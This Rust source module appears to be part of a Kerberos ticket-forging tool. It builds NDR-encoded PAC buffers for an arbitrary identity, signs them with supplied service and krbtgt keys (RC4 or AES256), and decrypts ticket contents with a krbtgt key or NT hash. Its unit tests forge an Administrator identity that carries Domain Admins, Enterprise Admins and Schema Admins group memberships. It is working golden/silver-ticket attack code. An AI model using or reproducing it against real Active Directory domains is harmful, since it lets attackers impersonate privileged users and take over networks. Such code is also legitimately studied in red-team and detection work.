use anyhow::{anyhow, bail, Result};
use picky_asn1::wrapper::ExplicitContextTag10;
use picky_asn1_der::application_tag::ApplicationTag;
use picky_krb::crypto::{ChecksumSuite, CipherSuite};
use picky_krb::data_types::{AuthorizationData, EncTicketPart};
use crate::checksum;
#[derive(Default)]
struct Nd {
b: Vec<u8>,
}
impl Nd {
fn u8(&mut self, v: u8) {
self.b.push(v);
}
fn u16(&mut self, v: u16) {
self.b.extend_from_slice(&v.to_le_bytes());
}
fn u32(&mut self, v: u32) {
self.b.extend_from_slice(&v.to_le_bytes());
}
fn u64(&mut self, v: u64) {
self.b.extend_from_slice(&v.to_le_bytes());
}
fn bytes(&mut self, v: &[u8]) {
self.b.extend_from_slice(v);
}
fn align(&mut self, n: usize) {
while !self.b.len().is_multiple_of(n) {
self.b.push(0);
}
}
fn rpc_unicode_hdr(&mut self, nchars: usize, referent: u32) {
self.u16((nchars * 2) as u16);
self.u16((nchars * 2) as u16);
self.u32(referent);
}
fn cv_wstr(&mut self, s: &str) {
let units: Vec<u16> = s.encode_utf16().collect();
self.align(4);
self.u32(units.len() as u32);
self.u32(0);
self.u32(units.len() as u32);
for u in units {
self.u16(u);
}
}
}
fn filetime_now() -> u64 {
use std::time::{SystemTime, UNIX_EPOCH};
let secs = SystemTime::now()
.duration_since(UNIX_EPOCH)
.map(|d| d.as_secs())
.unwrap_or(0);
(secs + 11_644_473_600) * 10_000_000
}
const FT_INFINITY: u64 = 0x7fff_ffff_ffff_ffff;
pub struct ForgeIdentity {
pub user: String,
pub rid: u32,
pub primary_gid: u32,
pub group_rids: Vec<u32>,
pub domain_subauths: Vec<u32>,
pub logon_server: String,
pub logon_domain: String,
}
impl ForgeIdentity {
fn requestor_sid(&self) -> Vec<u8> {
let mut subs = self.domain_subauths.clone();
subs.push(self.rid);
sid_bytes(&subs)
}
}
fn sid_bytes(subauths: &[u32]) -> Vec<u8> {
let mut v = vec![1u8, subauths.len() as u8, 0, 0, 0, 0, 0, 5];
for s in subauths {
v.extend_from_slice(&s.to_le_bytes());
}
v
}
fn ndr_sid(nd: &mut Nd, subauths: &[u32]) {
nd.align(4);
nd.u32(subauths.len() as u32);
nd.u8(1);
nd.u8(subauths.len() as u8);
nd.bytes(&[0, 0, 0, 0, 0, 5]);
for s in subauths {
nd.u32(*s);
}
}
pub fn build_kerb_validation_info(id: &ForgeIdentity) -> Vec<u8> {
let now = filetime_now();
let mut ref_id = 0x0002_0004u32;
let mut next_ref = || {
let r = ref_id;
ref_id += 4;
r
};
let eff_ref = next_ref();
let full_ref = next_ref();
let script_ref = next_ref();
let profile_ref = next_ref();
let home_ref = next_ref();
let homedrive_ref = next_ref();
let groups_ref = next_ref();
let logonsrv_ref = next_ref();
let logondom_ref = next_ref();
let domainid_ref = next_ref();
let mut f = Nd::default();
f.u64(now); f.u64(FT_INFINITY); f.u64(FT_INFINITY); f.u64(now); f.u64(now); f.u64(FT_INFINITY); f.rpc_unicode_hdr(id.user.encode_utf16().count(), eff_ref);
f.rpc_unicode_hdr(0, full_ref);
f.rpc_unicode_hdr(0, script_ref);
f.rpc_unicode_hdr(0, profile_ref);
f.rpc_unicode_hdr(0, home_ref);
f.rpc_unicode_hdr(0, homedrive_ref);
f.u16(0); f.u16(0); f.u32(id.rid); f.u32(id.primary_gid); f.u32(id.group_rids.len() as u32);
f.u32(groups_ref);
f.u32(0x0000_0020); f.bytes(&[0u8; 16]); f.rpc_unicode_hdr(id.logon_server.encode_utf16().count(), logonsrv_ref);
f.rpc_unicode_hdr(id.logon_domain.encode_utf16().count(), logondom_ref);
f.u32(domainid_ref);
f.bytes(&[0u8; 8]); f.u32(0x0000_0200); f.u32(0);
f.u64(0);
f.u64(0);
f.u32(0);
f.u32(0);
f.u32(0);
f.u32(0);
f.u32(0);
f.u32(0);
f.u32(0);
f.cv_wstr(&id.user);
for _ in 0..5 {
f.cv_wstr("");
}
f.align(4);
f.u32(id.group_rids.len() as u32);
for rid in &id.group_rids {
f.u32(*rid);
f.u32(0x0000_0007);
}
f.cv_wstr(&id.logon_server);
f.cv_wstr(&id.logon_domain);
ndr_sid(&mut f, &id.domain_subauths);
let body = f.b;
let mut out = Nd::default();
out.bytes(&[0x01, 0x10, 0x08, 0x00, 0xcc, 0xcc, 0xcc, 0xcc]);
out.u32(0);
out.u32(0);
out.u32(0x0002_0000);
out.bytes(&body);
while out.b.len() % 8 != 0 {
out.u8(0);
}
let obl = (out.b.len() - 16) as u32;
out.b[8..12].copy_from_slice(&obl.to_le_bytes());
out.b
}
pub fn build_client_info(user: &str) -> Vec<u8> {
let name: Vec<u16> = user.encode_utf16().collect();
let mut nd = Nd::default();
nd.u64(filetime_now());
nd.u16((name.len() * 2) as u16);
for u in name {
nd.u16(u);
}
nd.b
}
pub fn build_attributes() -> Vec<u8> {
let mut nd = Nd::default();
nd.u32(2);
nd.u32(1); nd.b
}
pub fn build_requestor(id: &ForgeIdentity) -> Vec<u8> {
id.requestor_sid()
}
const SIG_HMAC_SHA1_96_AES256: i32 = 16;
const KERB_NON_KERB_CKSUM_SALT: i32 = 17;
fn aes256_checksum(key: &[u8], payload: &[u8]) -> Result<Vec<u8>> {
ChecksumSuite::HmacSha196Aes256
.hasher()
.checksum(key, KERB_NON_KERB_CKSUM_SALT, payload)
.map_err(|e| anyhow!("PAC checksum: {e}"))
}
pub fn assemble_pac(
id: &ForgeIdentity,
server_key: &[u8],
kdc_key: &[u8],
rc4: bool,
) -> Result<Vec<u8>> {
let sign = |key: &[u8], data: &[u8]| -> Result<Vec<u8>> {
if rc4 {
Ok(checksum::hmac_md5_checksum(key, KERB_NON_KERB_CKSUM_SALT, data).to_vec())
} else {
aes256_checksum(key, data)
}
};
let mut sig_buf = Nd::default();
if rc4 {
sig_buf.u32(checksum::SIG_HMAC_MD5 as u32);
sig_buf.bytes(&[0u8; 16]);
} else {
sig_buf.u32(SIG_HMAC_SHA1_96_AES256 as u32);
sig_buf.bytes(&[0u8; 12]);
}
let sig_template = sig_buf.b;
let buffers: Vec<(u32, Vec<u8>)> = vec![
(PAC_LOGON_INFO, build_kerb_validation_info(id)),
(PAC_CLIENT_INFO_TYPE, build_client_info(&id.user)),
(PAC_ATTRIBUTES_INFO, build_attributes()),
(PAC_REQUESTOR, build_requestor(id)),
(PAC_SERVER_CHECKSUM, sig_template.clone()),
(PAC_KDC_CHECKSUM, sig_template.clone()),
];
let n = buffers.len();
let mut data_off = 8 + n * 16;
let mut descriptors = Nd::default();
descriptors.u32(n as u32);
descriptors.u32(0);
let mut blocks: Vec<(usize, usize)> = Vec::new();
let mut data = Vec::new();
for (t, d) in &buffers {
descriptors.u32(*t);
descriptors.u32(d.len() as u32);
descriptors.u64(data_off as u64);
blocks.push((data_off, d.len()));
data.extend_from_slice(d);
while data.len() % 8 != 0 {
data.push(0);
}
data_off = 8 + n * 16 + data.len();
}
let mut pac = descriptors.b;
pac.extend_from_slice(&data);
let server_sig = sign(server_key, &pac)?;
let (srv_off, _) = blocks[4];
pac[srv_off + 4..srv_off + 4 + server_sig.len()].copy_from_slice(&server_sig);
let kdc_sig = sign(kdc_key, &server_sig)?;
let (kdc_off, _) = blocks[5];
pac[kdc_off + 4..kdc_off + 4 + kdc_sig.len()].copy_from_slice(&kdc_sig);
Ok(pac)
}
type EncTicketPartApp = ApplicationTag<EncTicketPart, 3>;
const KEY_USAGE_TICKET: i32 = 2;
pub const PAC_LOGON_INFO: u32 = 1;
pub const PAC_SERVER_CHECKSUM: u32 = 6;
pub const PAC_KDC_CHECKSUM: u32 = 7;
pub const PAC_CLIENT_INFO_TYPE: u32 = 10;
pub const PAC_TICKET_CHECKSUM: u32 = 16;
pub const PAC_ATTRIBUTES_INFO: u32 = 17;
pub const PAC_REQUESTOR: u32 = 18;
#[derive(Debug, Clone)]
pub struct PacBuf {
pub ul_type: u32,
pub data: Vec<u8>,
}
#[derive(Debug, Clone)]
pub struct ParsedPac {
pub buffers: Vec<PacBuf>,
}
impl ParsedPac {
pub fn get(&self, ul_type: u32) -> Option<&PacBuf> {
self.buffers.iter().find(|b| b.ul_type == ul_type)
}
}
pub fn parse_pac(pac: &[u8]) -> Result<ParsedPac> {
if pac.len() < 8 {
bail!("PAC too short");
}
let c_buffers = u32::from_le_bytes(pac[0..4].try_into().unwrap()) as usize;
let version = u32::from_le_bytes(pac[4..8].try_into().unwrap());
if version != 0 {
bail!("PAC version {version} != 0");
}
let mut buffers = Vec::with_capacity(c_buffers);
for i in 0..c_buffers {
let base = 8 + i * 16;
let hdr = pac
.get(base..base + 16)
.ok_or_else(|| anyhow!("truncated PAC_INFO_BUFFER {i}"))?;
let ul_type = u32::from_le_bytes(hdr[0..4].try_into().unwrap());
let size = u32::from_le_bytes(hdr[4..8].try_into().unwrap()) as usize;
let offset = u64::from_le_bytes(hdr[8..16].try_into().unwrap()) as usize;
let data = pac
.get(offset..offset + size)
.ok_or_else(|| anyhow!("PAC buffer {i} range {offset}+{size} out of bounds"))?
.to_vec();
buffers.push(PacBuf { ul_type, data });
}
Ok(ParsedPac { buffers })
}
pub fn buf_name(t: u32) -> &'static str {
match t {
1 => "LOGON_INFO (KERB_VALIDATION_INFO)",
2 => "CREDENTIALS",
6 => "SERVER_CHECKSUM",
7 => "KDC_CHECKSUM",
10 => "CLIENT_INFO",
12 => "UPN_DNS_INFO",
16 => "TICKET_CHECKSUM",
17 => "ATTRIBUTES_INFO",
18 => "REQUESTOR",
_ => "?",
}
}
pub fn extract_pac(auth: &ExplicitContextTag10<AuthorizationData>) -> Result<Vec<u8>> {
let val = |b: &[u8]| b.iter().fold(0i64, |a, &x| (a << 8) | x as i64);
for outer in &auth.0 .0 {
if val(&outer.ad_type.0 .0) == 1 {
let inner: AuthorizationData = picky_asn1_der::from_bytes(&outer.ad_data.0 .0)
.map_err(|e| anyhow!("decode AD-IF-RELEVANT: {e}"))?;
for e in &inner.0 {
if val(&e.ad_type.0 .0) == 128 {
return Ok(e.ad_data.0 .0.clone());
}
}
}
}
bail!("no AD-WIN2K-PAC in ticket authorization-data")
}
pub fn decrypt_ticket_pac_aes256(
ticket_cipher: &[u8],
krbtgt_aes256: &[u8],
) -> Result<(EncTicketPart, Vec<u8>)> {
let cipher = CipherSuite::Aes256CtsHmacSha196.cipher();
let plain = cipher
.decrypt(krbtgt_aes256, KEY_USAGE_TICKET, ticket_cipher)
.map_err(|e| anyhow!("decrypt EncTicketPart with AES256 key (wrong key?): {e}"))?;
let etp: EncTicketPart = picky_asn1_der::from_bytes::<EncTicketPartApp>(&plain)
.map_err(|e| anyhow!("decode EncTicketPart: {e}"))?
.0;
let auth = etp
.authorization_data
.0
.as_ref()
.ok_or_else(|| anyhow!("ticket has no authorization-data (no PAC)"))?;
let pac = extract_pac(auth)?;
Ok((etp, pac))
}
pub fn decrypt_ticket_pac_rc4(
ticket_cipher: &[u8],
nt_hash_key: &[u8],
) -> Result<(EncTicketPart, Vec<u8>)> {
let plain = checksum::rc4_decrypt(nt_hash_key, KEY_USAGE_TICKET, ticket_cipher)
.map_err(|e| anyhow!("decrypt EncTicketPart with RC4 key: {e}"))?;
let etp: EncTicketPart = picky_asn1_der::from_bytes::<EncTicketPartApp>(&plain)
.map_err(|e| anyhow!("decode EncTicketPart: {e}"))?
.0;
let auth = etp
.authorization_data
.0
.as_ref()
.ok_or_else(|| anyhow!("ticket has no authorization-data (no PAC)"))?;
let pac = extract_pac(auth)?;
Ok((etp, pac))
}
#[cfg(test)]
mod tests {
use super::*;
fn sample() -> ForgeIdentity {
ForgeIdentity {
user: "Administrator".into(),
rid: 500,
primary_gid: 513,
group_rids: vec![513, 512, 520, 518, 519],
domain_subauths: vec![21, 1111111111, 2222222222, 3333333333],
logon_server: "DC01".into(),
logon_domain: "CORP".into(),
}
}
#[test]
fn logon_info_layout() {
let li = build_kerb_validation_info(&sample());
assert_eq!(&li[0..8], &[0x01, 0x10, 0x08, 0x00, 0xcc, 0xcc, 0xcc, 0xcc]);
let obl = u32::from_le_bytes(li[8..12].try_into().unwrap()) as usize;
assert_eq!(&li[16..20], &[0x00, 0x00, 0x02, 0x00]);
assert_eq!(obl, li.len() - 16);
assert_eq!(li.len() % 8, 0);
let uid = u32::from_le_bytes(li[120..124].try_into().unwrap());
assert_eq!(uid, 500);
let pgid = u32::from_le_bytes(li[124..128].try_into().unwrap());
assert_eq!(pgid, 513);
}
#[test]
fn pac_container_and_signatures() {
let key = [0x42u8; 32];
let pac = assemble_pac(&sample(), &key, &key, false).unwrap();
let parsed = parse_pac(&pac).unwrap();
for t in [
PAC_LOGON_INFO,
PAC_CLIENT_INFO_TYPE,
PAC_ATTRIBUTES_INFO,
PAC_REQUESTOR,
PAC_SERVER_CHECKSUM,
PAC_KDC_CHECKSUM,
] {
assert!(parsed.get(t).is_some(), "missing buffer {t}");
}
let srv = parsed.get(PAC_SERVER_CHECKSUM).unwrap();
let stored_srv_sig = srv.data[4..16].to_vec();
let mut zeroed = pac.clone();
for i in 0..parsed.buffers.len() {
let base = 8 + i * 16;
let t = u32::from_le_bytes(zeroed[base..base + 4].try_into().unwrap());
let off = u64::from_le_bytes(zeroed[base + 8..base + 16].try_into().unwrap()) as usize;
if t == PAC_SERVER_CHECKSUM || t == PAC_KDC_CHECKSUM {
for b in zeroed[off + 4..off + 16].iter_mut() {
*b = 0;
}
}
}
let recomputed = aes256_checksum(&key, &zeroed).unwrap();
assert_eq!(recomputed, stored_srv_sig, "server checksum mismatch");
let kdc = parsed.get(PAC_KDC_CHECKSUM).unwrap();
let recomputed_kdc = aes256_checksum(&key, &stored_srv_sig).unwrap();
assert_eq!(recomputed_kdc, kdc.data[4..16], "kdc checksum mismatch");
}
#[test]
fn requestor_sid_appends_rid() {
let id = sample();
let sid = id.requestor_sid();
assert_eq!(&sid[sid.len() - 4..], &500u32.to_le_bytes());
assert_eq!(sid[0], 1);
assert_eq!(sid[1], 5);
}
}